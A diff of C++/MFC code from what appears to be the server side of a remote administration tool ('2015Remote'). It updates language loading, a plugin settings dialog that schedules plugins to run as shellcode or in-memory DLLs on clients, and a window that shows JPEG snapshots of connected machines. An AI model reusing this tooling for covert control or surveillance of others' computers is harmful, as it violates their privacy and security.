// 优先从内嵌资源加载,然后用磁盘文件覆盖(如果存在)
|
||||||
bool Load(const CString& langCode)
|
bool Load(const CString& langCode)
|
||||||
{
|
{
|
||||||
m_strings.clear();
|
m_strings.clear();
|
||||||
m_currentLang = langCode;
|
m_currentLang = langCode;
|
||||||
|
|
||||||
// 如果是中文,不需要加载翻译
|
// 中文模式:检查是否有补丁文件
|
||||||
if (langCode == _T("zh_CN") || langCode.IsEmpty()) {
|
if (langCode == _T("zh_CN") || langCode.IsEmpty()) {
|
||||||
|
// 尝试加载中文补丁文件(可选)
|
||||||
|
CString patchFile = m_langDir + _T("\\zh_CN.ini");
|
||||||
|
if (GetFileAttributes(patchFile) != INVALID_FILE_ATTRIBUTES) {
|
||||||
|
CIniParser ini;
|
||||||
|
if (ini.LoadFile((LPCSTR)patchFile)) {
|
||||||
|
const CIniParser::TKeyVal* pSection = ini.GetSection("Strings");
|
||||||
|
if (pSection) {
|
||||||
|
for (const auto& kv : *pSection) {
|
||||||
|
m_strings[CString(kv.first.c_str())] = CString(kv.second.c_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
TRACE("[Lang] Loaded zh_CN patch: %d strings\n", (int)m_strings.size());
|
||||||
|
}
|
||||||
|
}
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
|
// 1. 先从内嵌资源加载(英语和繁体中文)
|
||||||
|
bool hasBuiltin = LoadFromResource(langCode);
|
||||||
|
|
||||||
// 检查文件是否存在
|
// 2. 再从磁盘文件加载(覆盖内嵌翻译)
|
||||||
if (GetFileAttributes(langFile) == INVALID_FILE_ATTRIBUTES) {
|
CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
|
||||||
|
if (GetFileAttributes(langFile) != INVALID_FILE_ATTRIBUTES) {
|
||||||
|
CIniParser ini;
|
||||||
|
// 如果有内嵌资源,使用追加模式覆盖;否则使用普通加载
|
||||||
|
if (hasBuiltin) {
|
||||||
|
// 追加模式:磁盘文件中的翻译会覆盖内嵌翻译
|
||||||
|
if (ini.LoadFile((LPCSTR)langFile)) {
|
||||||
|
const CIniParser::TKeyVal* pSection = ini.GetSection("Strings");
|
||||||
|
if (pSection) {
|
||||||
|
for (const auto& kv : *pSection) {
|
||||||
|
m_strings[CString(kv.first.c_str())] = CString(kv.second.c_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
TRACE("[Lang] Loaded disk file (override): %s\n", (LPCSTR)langFile);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// 无内嵌资源,直接从磁盘加载
|
||||||
|
if (ini.LoadFile((LPCSTR)langFile)) {
|
||||||
|
const CIniParser::TKeyVal* pSection = ini.GetSection("Strings");
|
||||||
|
if (pSection) {
|
||||||
|
for (const auto& kv : *pSection) {
|
||||||
|
m_strings[CString(kv.first.c_str())] = CString(kv.second.c_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
TRACE("[Lang] Loaded disk file: %s\n", (LPCSTR)langFile);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return hasBuiltin || !m_strings.empty();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从内嵌资源加载语言数据
|
||||||
|
bool LoadFromResource(const CString& langCode)
|
||||||
|
{
|
||||||
|
UINT resID = 0;
|
||||||
|
if (langCode == _T("en_US")) {
|
||||||
|
resID = IDR_LANG_EN_US;
|
||||||
|
} else if (langCode == _T("zh_TW")) {
|
||||||
|
resID = IDR_LANG_ZH_TW;
|
||||||
|
} else {
|
||||||
|
return false; // 无内嵌资源
|
||||||
|
}
|
||||||
|
|
||||||
|
HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(resID), RT_RCDATA);
|
||||||
|
if (!hRes) {
|
||||||
|
TRACE("[Lang] Resource not found: %d\n", resID);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 使用 CIniParser 解析,无文件大小限制,且不 trim key
|
HGLOBAL hData = LoadResource(NULL, hRes);
|
||||||
|
if (!hData) {
|
||||||
|
TRACE("[Lang] Failed to load resource: %d\n", resID);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char* data = (const char*)LockResource(hData);
|
||||||
|
DWORD size = SizeofResource(NULL, hRes);
|
||||||
|
if (!data || size == 0) {
|
||||||
|
TRACE("[Lang] Empty resource: %d\n", resID);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用 CIniParser 从内存解析
|
||||||
CIniParser ini;
|
CIniParser ini;
|
||||||
if (!ini.LoadFile((LPCSTR)langFile)) {
|
if (!ini.LoadFromMemory(data, size)) {
|
||||||
|
TRACE("[Lang] Failed to parse resource: %d\n", resID);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -194,6 +289,8 @@ public:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
TRACE("[Lang] Loaded builtin resource: %s (%d strings)\n",
|
||||||
|
(LPCSTR)langCode, (int)m_strings.size());
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -625,24 +722,24 @@ protected:
|
|||||||
AppendData(&dlgTemplate, sizeof(DLGTEMPLATE));
|
AppendData(&dlgTemplate, sizeof(DLGTEMPLATE));
|
||||||
AppendWord(0); // 菜单
|
AppendWord(0); // 菜单
|
||||||
AppendWord(0); // 窗口类
|
AppendWord(0); // 窗口类
|
||||||
AppendString(_T("选择语言 / Select Language"));
|
AppendString(_T("Select Language"));
|
||||||
AlignToDword();
|
AlignToDword();
|
||||||
|
|
||||||
// 静态文本
|
// 静态文本
|
||||||
AddControl(0x0082, 15, 15, 40, 12, (WORD)-1,
|
AddControl(0x0082, 15, 15, 50, 12, (WORD)-1,
|
||||||
SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:"));
|
SS_LEFT | WS_CHILD | WS_VISIBLE, _T("Language:"));
|
||||||
|
|
||||||
// ComboBox
|
// ComboBox
|
||||||
AddControl(0x0085, 55, 13, 130, 150, 1001,
|
AddControl(0x0085, 65, 13, 120, 150, 1001,
|
||||||
CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T(""));
|
CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T(""));
|
||||||
|
|
||||||
// 确定按钮
|
// OK 按钮
|
||||||
AddControl(0x0080, 45, 50, 50, 14, IDOK,
|
AddControl(0x0080, 45, 50, 50, 14, IDOK,
|
||||||
BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("确定"));
|
BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("OK"));
|
||||||
|
|
||||||
// 取消按钮
|
// Cancel 按钮
|
||||||
AddControl(0x0080, 105, 50, 50, 14, IDCANCEL,
|
AddControl(0x0080, 105, 50, 50, 14, IDCANCEL,
|
||||||
BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("取消"));
|
BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("Cancel"));
|
||||||
|
|
||||||
return (LPCDLGTEMPLATE)m_templateBuffer.data();
|
return (LPCDLGTEMPLATE)m_templateBuffer.data();
|
||||||
}
|
}
|
||||||
@@ -703,8 +800,8 @@ protected:
|
|||||||
|
|
||||||
m_comboLang.SubclassDlgItem(1001, this);
|
m_comboLang.SubclassDlgItem(1001, this);
|
||||||
|
|
||||||
// 添加简体中文
|
// 添加简体中文(显示为英语避免乱码)
|
||||||
int idx = m_comboLang.AddString(_T("简体中文"));
|
int idx = m_comboLang.AddString(GetLanguageDisplayName(_T("zh_CN")));
|
||||||
m_langCodes.push_back(_T("zh_CN"));
|
m_langCodes.push_back(_T("zh_CN"));
|
||||||
m_comboLang.SetItemData(idx, 0);
|
m_comboLang.SetItemData(idx, 0);
|
||||||
|
|
||||||
|
|||||||
@@ -69,8 +69,11 @@ BOOL CPluginSettingsDlg::OnInitDialog()
|
|||||||
// 初始化调度模式下拉框
|
// 初始化调度模式下拉框
|
||||||
m_comboMode.InsertString(SCH_MODE_NONE, _TR("不自动执行"));
|
m_comboMode.InsertString(SCH_MODE_NONE, _TR("不自动执行"));
|
||||||
m_comboMode.InsertString(SCH_MODE_STARTUP, _TR("启动执行"));
|
m_comboMode.InsertString(SCH_MODE_STARTUP, _TR("启动执行"));
|
||||||
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时[未实现]"));
|
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时"));
|
||||||
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时[未实现]"));
|
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时"));
|
||||||
|
m_comboMode.InsertString(SCH_MODE_MONTHLY, _TR("每月定时"));
|
||||||
|
m_comboMode.InsertString(SCH_MODE_YEARLY, _TR("每年定时"));
|
||||||
|
m_comboMode.InsertString(SCH_MODE_OFF, _TR("关闭执行"));
|
||||||
m_comboMode.SetCurSel(SCH_MODE_NONE);
|
m_comboMode.SetCurSel(SCH_MODE_NONE);
|
||||||
|
|
||||||
// 加载配置
|
// 加载配置
|
||||||
@@ -106,7 +109,7 @@ void CPluginSettingsDlg::LoadPluginsToList()
|
|||||||
m_listPlugins.DeleteAllItems();
|
m_listPlugins.DeleteAllItems();
|
||||||
|
|
||||||
const char* runTypeNames[] = { "Shellcode", "内存DLL" };
|
const char* runTypeNames[] = { "Shellcode", "内存DLL" };
|
||||||
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时" };
|
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时", "每月定时", "每年定时", "关闭执行", };
|
||||||
|
|
||||||
int index = 0;
|
int index = 0;
|
||||||
for (const auto& dll : m_DllList) {
|
for (const auto& dll : m_DllList) {
|
||||||
@@ -129,8 +132,8 @@ void CPluginSettingsDlg::LoadPluginsToList()
|
|||||||
int runType = cfg ? cfg->RunType : info->RunType;
|
int runType = cfg ? cfg->RunType : info->RunType;
|
||||||
int mode = cfg ? cfg->Mode : info->Schedule.Mode;
|
int mode = cfg ? cfg->Mode : info->Schedule.Mode;
|
||||||
|
|
||||||
m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < 2 ? runType : 0]));
|
m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < RUNTYPE_MAX ? runType : MEMORYDLL]));
|
||||||
m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < 4 ? mode : 0]));
|
m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < SCH_MODE_MAX ? mode : SCH_MODE_NONE]));
|
||||||
m_listPlugins.SetItemText(index, 4, CString(info->Md5));
|
m_listPlugins.SetItemText(index, 4, CString(info->Md5));
|
||||||
|
|
||||||
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
|
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
|
||||||
@@ -169,9 +172,9 @@ void CPluginSettingsDlg::UpdateSelectedPluginInfo()
|
|||||||
unsigned int interval = cfg ? cfg->Interval : info->Schedule.Config.Startup.Interval;
|
unsigned int interval = cfg ? cfg->Interval : info->Schedule.Config.Startup.Interval;
|
||||||
unsigned char maxCount = cfg ? cfg->MaxCount : info->Schedule.MaxCount;
|
unsigned char maxCount = cfg ? cfg->MaxCount : info->Schedule.MaxCount;
|
||||||
|
|
||||||
m_comboRunType.SetCurSel(runType < 2 ? runType : 0);
|
m_comboRunType.SetCurSel(runType < RUNTYPE_MAX ? runType : MEMORYDLL);
|
||||||
m_comboCallType.SetCurSel(callType < 4 ? callType : 0);
|
m_comboCallType.SetCurSel(callType < CALLTYPE_MAX ? callType : CALLTYPE_IOCPTHREAD);
|
||||||
m_comboMode.SetCurSel(mode < 4 ? mode : 0);
|
m_comboMode.SetCurSel(mode < SCH_MODE_MAX ? mode : SCH_MODE_NONE);
|
||||||
|
|
||||||
CString str;
|
CString str;
|
||||||
str.Format(_T("%u"), interval);
|
str.Format(_T("%u"), interval);
|
||||||
|
|||||||
422
server/2015Remote/PreviewTipWnd.cpp
Normal file
422
server/2015Remote/PreviewTipWnd.cpp
Normal file
@@ -0,0 +1,422 @@
|
|||||||
|
// PreviewTipWnd.cpp
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "PreviewTipWnd.h"
|
||||||
|
#include "resource.h" // IDI_ICON_SNAPSHOT(循环模式标题栏图标)
|
||||||
|
|
||||||
|
#include <objidl.h> // IUnknown / IStream — gdiplus.h 依赖它们已声明
|
||||||
|
#include <gdiplus.h>
|
||||||
|
#pragma comment(lib, "gdiplus.lib")
|
||||||
|
|
||||||
|
using namespace Gdiplus;
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
constexpr int PADDING = 8;
|
||||||
|
constexpr int IMAGE_TEXT_GAP = 6; // 图像与下方文本之间的留白
|
||||||
|
constexpr int MIN_TEXT_W = 360;
|
||||||
|
constexpr int MAX_TEXT_W = 720; // 文本可换行宽度上限(垂直布局,宽度不再受图像挤压)
|
||||||
|
constexpr int MAX_IMAGE_W = 960; // 显示上限(防止 LAN 档 1280 的 JPEG 把窗口顶到屏幕外)
|
||||||
|
constexpr int LOADING_W = 480; // 占位的最小宽度(图像未到达时)
|
||||||
|
constexpr int LOADING_H = 270;
|
||||||
|
} // namespace
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CPreviewTipWnd, CWnd)
|
||||||
|
ON_WM_PAINT()
|
||||||
|
ON_WM_ERASEBKGND()
|
||||||
|
ON_WM_DESTROY()
|
||||||
|
ON_WM_SIZE()
|
||||||
|
ON_WM_GETMINMAXINFO()
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
CPreviewTipWnd::CPreviewTipWnd() = default;
|
||||||
|
|
||||||
|
CPreviewTipWnd::~CPreviewTipWnd()
|
||||||
|
{
|
||||||
|
// m_image 通过 unique_ptr 自动释放
|
||||||
|
if (m_hIconSmall) { ::DestroyIcon(m_hIconSmall); m_hIconSmall = nullptr; }
|
||||||
|
if (m_hIconBig) { ::DestroyIcon(m_hIconBig); m_hIconBig = nullptr; }
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW,
|
||||||
|
bool loopMode, const CStringW& windowTitle)
|
||||||
|
{
|
||||||
|
m_text = text;
|
||||||
|
m_loopMode = loopMode; // 注意:影响后续 SetImageFromJpeg / OnPaint / OnSize 行为
|
||||||
|
m_imageReserveW = imageReserveW > 0 ? min(imageReserveW, MAX_IMAGE_W) : 0;
|
||||||
|
m_imageReserveH = m_imageReserveW > 0 ? (m_imageReserveW * 9 / 16) : 0;
|
||||||
|
if (m_imageReserveW > 0 && m_imageReserveW < LOADING_W) {
|
||||||
|
m_imageReserveW = LOADING_W;
|
||||||
|
m_imageReserveH = LOADING_H;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建字体(项目是 MBCS,但浮窗用宽字符;显式 LOGFONTW + W 版 API 避免编码混淆)
|
||||||
|
LOGFONTW lf = {};
|
||||||
|
HFONT hSysFont = (HFONT)::GetStockObject(DEFAULT_GUI_FONT);
|
||||||
|
if (hSysFont && ::GetObjectW(hSysFont, sizeof(lf), &lf) == 0) {
|
||||||
|
hSysFont = nullptr;
|
||||||
|
}
|
||||||
|
if (!hSysFont) {
|
||||||
|
lf.lfHeight = -12;
|
||||||
|
wcscpy_s(lf.lfFaceName, L"Microsoft YaHei");
|
||||||
|
}
|
||||||
|
HFONT hF = ::CreateFontIndirectW(&lf);
|
||||||
|
if (hF) m_font.Attach(hF);
|
||||||
|
|
||||||
|
// 窗口类:单发 tooltip 走 CS_SAVEBITS(短时显示,省 BitBlt),
|
||||||
|
// 循环窗口是长存窗口,加 CS_HREDRAW|CS_VREDRAW 让拉伸时实时重绘
|
||||||
|
UINT classStyle = loopMode ? (CS_HREDRAW | CS_VREDRAW) : CS_SAVEBITS;
|
||||||
|
LPCTSTR kClass = AfxRegisterWndClass(
|
||||||
|
classStyle,
|
||||||
|
::LoadCursor(NULL, IDC_ARROW),
|
||||||
|
(HBRUSH)(COLOR_BTNFACE + 1),
|
||||||
|
NULL);
|
||||||
|
|
||||||
|
// 临时尺寸;RecalcLayoutAndResize 会在创建后调整
|
||||||
|
CRect rc(anchor.x, anchor.y, anchor.x + 400, anchor.y + 200);
|
||||||
|
|
||||||
|
// 样式选择:
|
||||||
|
// 单发 tooltip —— WS_POPUP|WS_BORDER + EX_TOPMOST|TOOLWINDOW|NOACTIVATE
|
||||||
|
// (不激活、不上任务栏、置顶;光标移开会被主对话框关掉)
|
||||||
|
// 循环监视窗口 —— WS_OVERLAPPEDWINDOW (标题栏 / 系统菜单 / 最大化 / 最小化 / 可调整边框)
|
||||||
|
// + WS_EX_APPWINDOW(强制独立任务栏图标,便于多窗口切换)
|
||||||
|
DWORD style = loopMode ? (WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN)
|
||||||
|
: (WS_POPUP | WS_BORDER);
|
||||||
|
DWORD styleEx = loopMode ? WS_EX_APPWINDOW
|
||||||
|
: (WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE);
|
||||||
|
|
||||||
|
// 单发模式下窗口文本无意义(无标题栏可显示);循环模式下用宽字符 SetWindowTextW 显式设。
|
||||||
|
BOOL bOk = CWnd::CreateEx(styleEx, kClass, _T(""), style, rc, pParent, 0);
|
||||||
|
if (!bOk) return FALSE;
|
||||||
|
|
||||||
|
if (loopMode && !windowTitle.IsEmpty()) {
|
||||||
|
::SetWindowTextW(GetSafeHwnd(), windowTitle);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 循环模式:给窗口装上眼睛图标(标题栏 + 任务栏 + Alt-Tab)。
|
||||||
|
// ICO 资源里包含 16x16 与 32x32 两份,ICON_SMALL/ICON_BIG 各取最佳尺寸。
|
||||||
|
// HICON 由本类持有,析构时 DestroyIcon(WM_SETICON 不转移所有权)。
|
||||||
|
if (loopMode) {
|
||||||
|
m_hIconSmall = (HICON)::LoadImage(AfxGetInstanceHandle(),
|
||||||
|
MAKEINTRESOURCE(IDI_ICON_SNAPSHOT), IMAGE_ICON,
|
||||||
|
::GetSystemMetrics(SM_CXSMICON), ::GetSystemMetrics(SM_CYSMICON),
|
||||||
|
LR_DEFAULTCOLOR);
|
||||||
|
m_hIconBig = (HICON)::LoadImage(AfxGetInstanceHandle(),
|
||||||
|
MAKEINTRESOURCE(IDI_ICON_SNAPSHOT), IMAGE_ICON,
|
||||||
|
::GetSystemMetrics(SM_CXICON), ::GetSystemMetrics(SM_CYICON),
|
||||||
|
LR_DEFAULTCOLOR);
|
||||||
|
if (m_hIconSmall) SendMessage(WM_SETICON, ICON_SMALL, (LPARAM)m_hIconSmall);
|
||||||
|
if (m_hIconBig) SendMessage(WM_SETICON, ICON_BIG, (LPARAM)m_hIconBig);
|
||||||
|
}
|
||||||
|
|
||||||
|
RecalcLayoutAndResize();
|
||||||
|
|
||||||
|
// 单发:不激活;循环:正常显示,允许接收焦点(系统菜单 / 拖拽 / 最小化都需要可激活)
|
||||||
|
ShowWindow(loopMode ? SW_SHOWNORMAL : SW_SHOWNOACTIVATE);
|
||||||
|
if (loopMode) {
|
||||||
|
// 任务栏图标 + 标题在多窗口情况下立刻可见
|
||||||
|
UpdateWindow();
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CPreviewTipWnd::SetImageFromJpeg(const BYTE* data, size_t bytes)
|
||||||
|
{
|
||||||
|
if (!data || bytes == 0) return;
|
||||||
|
|
||||||
|
HGLOBAL hMem = ::GlobalAlloc(GMEM_MOVEABLE, bytes);
|
||||||
|
if (!hMem) return;
|
||||||
|
void* p = ::GlobalLock(hMem);
|
||||||
|
if (!p) { ::GlobalFree(hMem); return; }
|
||||||
|
memcpy(p, data, bytes);
|
||||||
|
::GlobalUnlock(hMem);
|
||||||
|
|
||||||
|
IStream* stream = nullptr;
|
||||||
|
if (FAILED(::CreateStreamOnHGlobal(hMem, TRUE, &stream))) {
|
||||||
|
::GlobalFree(hMem);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::unique_ptr<Bitmap> bmp(new Bitmap(stream, FALSE));
|
||||||
|
stream->Release(); // CreateStreamOnHGlobal(..., TRUE) 释放 stream 时会释放 hMem
|
||||||
|
|
||||||
|
if (!bmp || bmp->GetLastStatus() != Ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_image = std::move(bmp);
|
||||||
|
m_hasImage = true;
|
||||||
|
m_unavailable = false;
|
||||||
|
// 循环模式下窗口尺寸交给用户控制(OnSize / WS_THICKFRAME),后续帧不再自动重排版,
|
||||||
|
// 只 Invalidate 触发重绘;图像在 OnPaint 中按 client rect 等比例适配。
|
||||||
|
if (!m_loopMode) {
|
||||||
|
RecalcLayoutAndResize();
|
||||||
|
}
|
||||||
|
if (GetSafeHwnd()) Invalidate();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CPreviewTipWnd::MarkPreviewUnavailable()
|
||||||
|
{
|
||||||
|
if (m_hasImage) return; // 已经有图就不再覆盖
|
||||||
|
m_unavailable = true;
|
||||||
|
if (GetSafeHwnd()) Invalidate();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CPreviewTipWnd::SetLoopOwner(HWND ownerHwnd, UINT msgId, uint64_t clientId)
|
||||||
|
{
|
||||||
|
// 仅更新回调订阅;m_loopMode 由 Create() 一次性设定,不在这里改 —— 否则
|
||||||
|
// CloseLoopTip 用 SetLoopOwner(NULL,0,0) 解订阅时会顺手把 loopMode 翻成 false,
|
||||||
|
// 导致 PostNcDestroy 跳过 delete this → 每关一次循环窗口泄漏一个对象。
|
||||||
|
m_loopOwner = ownerHwnd;
|
||||||
|
m_loopMsg = msgId;
|
||||||
|
m_clientId = clientId;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CPreviewTipWnd::OnDestroy()
|
||||||
|
{
|
||||||
|
// 在窗口实际销毁前回告 owner(仅循环模式)。owner 据此从映射表擦掉本条目。
|
||||||
|
// 注意:把字段先置零,避免极端情况下被 PostNcDestroy 再触发一次。
|
||||||
|
if (m_loopMode && m_loopOwner && ::IsWindow(m_loopOwner) && m_loopMsg != 0) {
|
||||||
|
HWND owner = m_loopOwner;
|
||||||
|
UINT msg = m_loopMsg;
|
||||||
|
m_loopOwner = nullptr;
|
||||||
|
m_loopMsg = 0;
|
||||||
|
// 64 位 clientId 用 LPARAM 指针传递;WPARAM 在 32 位 Windows 不够宽。
|
||||||
|
auto* pId = new uint64_t(m_clientId);
|
||||||
|
if (!::PostMessageA(owner, msg, 0, (LPARAM)pId)) {
|
||||||
|
delete pId;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
CWnd::OnDestroy();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CPreviewTipWnd::PostNcDestroy()
|
||||||
|
{
|
||||||
|
// 仅循环模式自管理生命周期;单次提示窗口由主对话框 SAFE_DELETE 释放。
|
||||||
|
bool selfDelete = m_loopMode;
|
||||||
|
CWnd::PostNcDestroy();
|
||||||
|
if (selfDelete) {
|
||||||
|
delete this;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CPreviewTipWnd::RecalcLayoutAndResize()
|
||||||
|
{
|
||||||
|
HWND hWnd = GetSafeHwnd();
|
||||||
|
if (!hWnd) return;
|
||||||
|
|
||||||
|
// 估算图像尺寸(先算图像,因为文本宽度要参考图像宽度对齐)
|
||||||
|
if (m_image) {
|
||||||
|
int iw = (int)m_image->GetWidth();
|
||||||
|
int ih = (int)m_image->GetHeight();
|
||||||
|
if (iw > MAX_IMAGE_W) {
|
||||||
|
ih = (int)((double)ih * MAX_IMAGE_W / iw + 0.5);
|
||||||
|
iw = MAX_IMAGE_W;
|
||||||
|
}
|
||||||
|
m_imageDrawW = iw;
|
||||||
|
m_imageDrawH = ih;
|
||||||
|
} else {
|
||||||
|
m_imageDrawW = m_imageReserveW;
|
||||||
|
m_imageDrawH = m_imageReserveH;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 文本换行宽度:与图像同宽(让文本视觉上对齐到图像下方),但不超过 MAX_TEXT_W
|
||||||
|
// 没有图像时退化到 MAX_TEXT_W
|
||||||
|
int textWrapW = m_imageDrawW > 0 ? min((int)MAX_TEXT_W, m_imageDrawW) : (int)MAX_TEXT_W;
|
||||||
|
if (textWrapW < MIN_TEXT_W) textWrapW = MIN_TEXT_W;
|
||||||
|
|
||||||
|
// 估算文本尺寸(项目是 MBCS,但浮窗文本是宽字符,必须显式调用 W 版本)
|
||||||
|
CClientDC dc(this);
|
||||||
|
CFont* old = dc.SelectObject(&m_font);
|
||||||
|
CRect rcText(0, 0, textWrapW, 32767);
|
||||||
|
::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &rcText,
|
||||||
|
DT_CALCRECT | DT_LEFT | DT_WORDBREAK | DT_NOPREFIX);
|
||||||
|
m_textW = max((int)MIN_TEXT_W, rcText.Width());
|
||||||
|
if (m_imageDrawW > 0) m_textW = max(m_textW, m_imageDrawW); // 至少与图像同宽
|
||||||
|
m_textH = rcText.Height();
|
||||||
|
dc.SelectObject(old);
|
||||||
|
|
||||||
|
int contentW = max(m_imageDrawW, m_textW);
|
||||||
|
int gap = (m_imageDrawW > 0 && m_textH > 0) ? IMAGE_TEXT_GAP : 0;
|
||||||
|
int totalW = PADDING + contentW + PADDING;
|
||||||
|
int totalH = PADDING + m_imageDrawH + gap + m_textH + PADDING;
|
||||||
|
|
||||||
|
// 当前左上角
|
||||||
|
CRect rc;
|
||||||
|
GetWindowRect(&rc);
|
||||||
|
int newX = rc.left;
|
||||||
|
int newY = rc.top;
|
||||||
|
|
||||||
|
// 防止越出屏幕:右下夹紧到工作区
|
||||||
|
HMONITOR hMon = MonitorFromPoint(CPoint(newX, newY), MONITOR_DEFAULTTONEAREST);
|
||||||
|
MONITORINFO mi = { sizeof(mi) };
|
||||||
|
if (hMon && GetMonitorInfo(hMon, &mi)) {
|
||||||
|
if (newX + totalW > mi.rcWork.right) newX = max((int)mi.rcWork.left, mi.rcWork.right - totalW);
|
||||||
|
if (newY + totalH > mi.rcWork.bottom) newY = max((int)mi.rcWork.top, mi.rcWork.bottom - totalH);
|
||||||
|
}
|
||||||
|
|
||||||
|
SetWindowPos(NULL, newX, newY, totalW, totalH, SWP_NOZORDER | SWP_NOACTIVATE);
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CPreviewTipWnd::OnEraseBkgnd(CDC* /*pDC*/)
|
||||||
|
{
|
||||||
|
return TRUE; // 在 OnPaint 里整体填充
|
||||||
|
}
|
||||||
|
|
||||||
|
void CPreviewTipWnd::OnPaint()
|
||||||
|
{
|
||||||
|
CPaintDC pdc(this);
|
||||||
|
CRect rcClient;
|
||||||
|
GetClientRect(&rcClient);
|
||||||
|
if (rcClient.IsRectEmpty()) return;
|
||||||
|
|
||||||
|
// 双缓冲
|
||||||
|
CDC memDC;
|
||||||
|
memDC.CreateCompatibleDC(&pdc);
|
||||||
|
CBitmap memBmp;
|
||||||
|
memBmp.CreateCompatibleBitmap(&pdc, rcClient.Width(), rcClient.Height());
|
||||||
|
CBitmap* oldBmp = memDC.SelectObject(&memBmp);
|
||||||
|
|
||||||
|
// 单发 tooltip 用 COLOR_INFOBK(系统提示底色);循环窗口用 COLOR_BTNFACE(普通窗口背景)
|
||||||
|
COLORREF bg = m_loopMode ? ::GetSysColor(COLOR_BTNFACE) : ::GetSysColor(COLOR_INFOBK);
|
||||||
|
memDC.FillSolidRect(&rcClient, bg);
|
||||||
|
|
||||||
|
CFont* oldFont = memDC.SelectObject(&m_font);
|
||||||
|
memDC.SetTextColor(::GetSysColor(m_loopMode ? COLOR_WINDOWTEXT : COLOR_INFOTEXT));
|
||||||
|
memDC.SetBkMode(TRANSPARENT);
|
||||||
|
|
||||||
|
if (m_loopMode) {
|
||||||
|
// 循环模式:基于 client rect 动态分配;图像区按 client 大小自适应,文本固定在底部
|
||||||
|
CRect rcImg, rcText;
|
||||||
|
LayoutForLoopMode(rcClient, rcImg, rcText);
|
||||||
|
if (!rcImg.IsRectEmpty()) DrawImageArea(memDC, rcImg);
|
||||||
|
if (!rcText.IsRectEmpty()) DrawTextArea(memDC, rcText);
|
||||||
|
} else {
|
||||||
|
// 单发 tooltip:保持原行为,按 RecalcLayoutAndResize 算好的固定尺寸排版
|
||||||
|
int curY = PADDING;
|
||||||
|
if (m_imageDrawW > 0 && m_imageDrawH > 0) {
|
||||||
|
CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH);
|
||||||
|
DrawImageArea(memDC, rcImg);
|
||||||
|
curY += m_imageDrawH + IMAGE_TEXT_GAP;
|
||||||
|
}
|
||||||
|
CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
|
||||||
|
DrawTextArea(memDC, rcText);
|
||||||
|
}
|
||||||
|
|
||||||
|
memDC.SelectObject(oldFont);
|
||||||
|
pdc.BitBlt(0, 0, rcClient.Width(), rcClient.Height(), &memDC, 0, 0, SRCCOPY);
|
||||||
|
memDC.SelectObject(oldBmp);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CPreviewTipWnd::LayoutForLoopMode(const CRect& client, CRect& outImg, CRect& outText)
|
||||||
|
{
|
||||||
|
outImg.SetRectEmpty();
|
||||||
|
outText.SetRectEmpty();
|
